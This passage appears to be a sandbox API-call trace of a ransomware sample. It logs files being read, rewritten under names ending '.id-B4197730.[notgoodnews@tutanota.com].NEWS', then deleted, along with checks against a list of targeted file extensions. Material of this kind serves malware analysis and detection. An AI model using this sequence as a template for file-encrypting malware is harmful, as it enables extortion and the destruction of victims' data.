lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.065] WriteFile (in: hFile=0x370, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0xee, lpOverlapped=0x0) returned 1 [0194.066] SetEndOfFile (hFile=0x370) returned 1 [0194.066] CloseHandle (hObject=0x370) returned 1 [0194.066] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.066] SetEndOfFile (hFile=0x350) returned 1 [0194.067] CloseHandle (hObject=0x350) returned 1 [0194.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0194.067] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1 [0194.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.068] lstrlenW (lpString=".doc") returned 4 [0194.068] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0194.068] lstrlenW (lpString=".docx") returned 5 [0194.068] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0194.068] lstrlenW (lpString=".pdf") returned 4 [0194.068] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0194.068] lstrlenW (lpString=".xls") returned 4 [0194.068] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0194.068] lstrlenW (lpString=".xlsx") returned 5 [0194.068] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0194.068] lstrlenW (lpString=".ppt") returned 4 [0194.068] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0194.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.068] lstrlenW (lpString=".zip") returned 4 [0194.068] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0194.068] lstrlenW (lpString=".rar") returned 4 [0194.068] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0194.068] lstrlenW (lpString=".bz2") returned 4 [0194.068] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0194.068] lstrlenW (lpString=".7z") returned 3 [0194.068] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0194.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.068] lstrlenW (lpString=".dbf") returned 4 [0194.068] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0194.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.068] lstrlenW (lpString=".1cd") returned 4 [0194.068] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0194.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.068] lstrlenW (lpString=".jpg") returned 4 [0194.068] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0194.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.068] lstrlenW (lpString=".doc") returned 4 [0194.068] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0194.068] lstrlenW (lpString=".docx") returned 5 [0194.068] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0194.068] lstrlenW (lpString=".pdf") returned 4 [0194.069] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0194.069] lstrlenW (lpString=".xls") returned 4 [0194.069] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0194.069] lstrlenW (lpString=".xlsx") returned 5 [0194.069] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0194.069] lstrlenW (lpString=".ppt") returned 4 [0194.069] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0194.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.069] lstrlenW (lpString=".zip") returned 4 [0194.069] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0194.069] lstrlenW (lpString=".rar") returned 4 [0194.069] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0194.069] lstrlenW (lpString=".bz2") returned 4 [0194.069] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0194.069] lstrlenW (lpString=".7z") returned 3 [0194.069] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0194.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.069] lstrlenW (lpString=".dbf") returned 4 [0194.069] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0194.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.069] lstrlenW (lpString=".1cd") returned 4 [0194.069] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0194.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0194.069] lstrlenW (lpString=".jpg") returned 4 [0194.069] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0194.069] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0194.069] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0194.069] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe" (normalized: "c:\\program files\\internet explorer\\centralcreditcard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.070] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=78336) returned 1 [0194.070] CloseHandle (hObject=0x350) returned 1 [0194.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe" (normalized: "c:\\program files\\internet explorer\\centralcreditcard.exe")) returned 0x20 [0194.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\centralcreditcard.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.070] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe" (normalized: "c:\\program files\\internet explorer\\centralcreditcard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.070] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.070] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.070] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\centralcreditcard.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.071] GetLastError () returned 0x0 [0194.071] ReadFile (in: hFile=0x350, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0x13200, lpOverlapped=0x0) returned 1 [0194.075] WriteFile (in: hFile=0x370, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0x13210, lpOverlapped=0x0) returned 1 [0194.077] ReadFile (in: hFile=0x350, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.077] WriteFile (in: hFile=0x370, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0xfe, lpOverlapped=0x0) returned 1 [0194.077] SetEndOfFile (hFile=0x370) returned 1 [0194.077] CloseHandle (hObject=0x370) returned 1 [0194.077] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.077] SetEndOfFile (hFile=0x350) returned 1 [0194.078] CloseHandle (hObject=0x350) returned 1 [0194.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0194.079] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe" (normalized: "c:\\program files\\internet explorer\\centralcreditcard.exe")) returned 1 [0194.079] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.079] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.079] lstrlenW (lpString=".doc") returned 4 [0194.079] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.079] lstrlenW (lpString=".docx") returned 5 [0194.079] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0194.079] lstrlenW (lpString=".pdf") returned 4 [0194.079] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.079] lstrlenW (lpString=".xls") returned 4 [0194.079] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.079] lstrlenW (lpString=".xlsx") returned 5 [0194.079] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0194.079] lstrlenW (lpString=".ppt") returned 4 [0194.079] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.079] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.079] lstrlenW (lpString=".zip") returned 4 [0194.079] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.079] lstrlenW (lpString=".rar") returned 4 [0194.079] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.079] lstrlenW (lpString=".bz2") returned 4 [0194.079] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.079] lstrlenW (lpString=".7z") returned 3 [0194.079] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.079] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.079] lstrlenW (lpString=".dbf") returned 4 [0194.079] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.079] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.079] lstrlenW (lpString=".1cd") returned 4 [0194.079] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.079] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.080] lstrlenW (lpString=".jpg") returned 4 [0194.080] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.080] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.080] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.080] lstrlenW (lpString=".doc") returned 4 [0194.080] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.080] lstrlenW (lpString=".docx") returned 5 [0194.080] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0194.080] lstrlenW (lpString=".pdf") returned 4 [0194.080] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.080] lstrlenW (lpString=".xls") returned 4 [0194.080] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.080] lstrlenW (lpString=".xlsx") returned 5 [0194.080] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0194.080] lstrlenW (lpString=".ppt") returned 4 [0194.080] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.080] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.080] lstrlenW (lpString=".zip") returned 4 [0194.080] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.080] lstrlenW (lpString=".rar") returned 4 [0194.080] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.080] lstrlenW (lpString=".bz2") returned 4 [0194.080] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.080] lstrlenW (lpString=".7z") returned 3 [0194.080] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.080] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.080] lstrlenW (lpString=".dbf") returned 4 [0194.080] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.080] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.080] lstrlenW (lpString=".1cd") returned 4 [0194.080] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.080] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe") returned 56 [0194.080] lstrlenW (lpString=".jpg") returned 4 [0194.080] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.081] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0194.081] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0194.081] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.082] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2560) returned 1 [0194.082] CloseHandle (hObject=0x350) returned 1 [0194.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0194.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.082] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.082] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.082] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.082] lstrlenW (lpString=".doc") returned 4 [0194.082] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.082] lstrlenW (lpString=".docx") returned 5 [0194.082] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0194.082] lstrlenW (lpString=".pdf") returned 4 [0194.082] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.082] lstrlenW (lpString=".xls") returned 4 [0194.082] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.082] lstrlenW (lpString=".xlsx") returned 5 [0194.082] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0194.082] lstrlenW (lpString=".ppt") returned 4 [0194.082] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.082] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.082] lstrlenW (lpString=".zip") returned 4 [0194.082] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.082] lstrlenW (lpString=".rar") returned 4 [0194.082] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.083] lstrlenW (lpString=".bz2") returned 4 [0194.083] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.083] lstrlenW (lpString=".7z") returned 3 [0194.083] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.083] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.083] lstrlenW (lpString=".dbf") returned 4 [0194.083] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.083] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.083] lstrlenW (lpString=".1cd") returned 4 [0194.083] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.083] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.083] lstrlenW (lpString=".jpg") returned 4 [0194.083] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.083] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.083] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.083] lstrlenW (lpString=".doc") returned 4 [0194.083] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.083] lstrlenW (lpString=".docx") returned 5 [0194.083] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0194.083] lstrlenW (lpString=".pdf") returned 4 [0194.083] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.083] lstrlenW (lpString=".xls") returned 4 [0194.083] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.083] lstrlenW (lpString=".xlsx") returned 5 [0194.083] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0194.083] lstrlenW (lpString=".ppt") returned 4 [0194.083] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.083] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.083] lstrlenW (lpString=".zip") returned 4 [0194.083] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.083] lstrlenW (lpString=".rar") returned 4 [0194.083] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.083] lstrlenW (lpString=".bz2") returned 4 [0194.083] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.084] lstrlenW (lpString=".7z") returned 3 [0194.084] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.084] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.084] lstrlenW (lpString=".dbf") returned 4 [0194.084] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.084] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.084] lstrlenW (lpString=".1cd") returned 4 [0194.084] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.084] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0194.084] lstrlenW (lpString=".jpg") returned 4 [0194.084] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.084] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0194.084] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0194.084] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.084] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2560) returned 1 [0194.084] CloseHandle (hObject=0x350) returned 1 [0194.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0194.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.085] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.085] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.085] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.085] lstrlenW (lpString=".doc") returned 4 [0194.085] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.085] lstrlenW (lpString=".docx") returned 5 [0194.085] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.085] lstrlenW (lpString=".pdf") returned 4 [0194.085] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.085] lstrlenW (lpString=".xls") returned 4 [0194.085] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.085] lstrlenW (lpString=".xlsx") returned 5 [0194.085] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.085] lstrlenW (lpString=".ppt") returned 4 [0194.085] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.085] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.085] lstrlenW (lpString=".zip") returned 4 [0194.085] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.085] lstrlenW (lpString=".rar") returned 4 [0194.085] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.085] lstrlenW (lpString=".bz2") returned 4 [0194.085] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.085] lstrlenW (lpString=".7z") returned 3 [0194.085] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.085] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.085] lstrlenW (lpString=".dbf") returned 4 [0194.085] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.085] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.086] lstrlenW (lpString=".1cd") returned 4 [0194.086] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.086] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.086] lstrlenW (lpString=".jpg") returned 4 [0194.086] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.086] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.086] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.086] lstrlenW (lpString=".doc") returned 4 [0194.086] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.086] lstrlenW (lpString=".docx") returned 5 [0194.086] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.086] lstrlenW (lpString=".pdf") returned 4 [0194.086] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.086] lstrlenW (lpString=".xls") returned 4 [0194.086] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.086] lstrlenW (lpString=".xlsx") returned 5 [0194.086] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.086] lstrlenW (lpString=".ppt") returned 4 [0194.086] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.086] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.086] lstrlenW (lpString=".zip") returned 4 [0194.086] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.086] lstrlenW (lpString=".rar") returned 4 [0194.086] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.086] lstrlenW (lpString=".bz2") returned 4 [0194.086] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.086] lstrlenW (lpString=".7z") returned 3 [0194.086] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.086] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.086] lstrlenW (lpString=".dbf") returned 4 [0194.086] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.086] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.086] lstrlenW (lpString=".1cd") returned 4 [0194.086] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.086] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 57 [0194.086] lstrlenW (lpString=".jpg") returned 4 [0194.087] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.087] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0194.087] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0194.087] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.087] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5632) returned 1 [0194.087] CloseHandle (hObject=0x350) returned 1 [0194.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0194.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.087] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.087] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.087] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.087] lstrlenW (lpString=".doc") returned 4 [0194.088] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.088] lstrlenW (lpString=".docx") returned 5 [0194.088] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 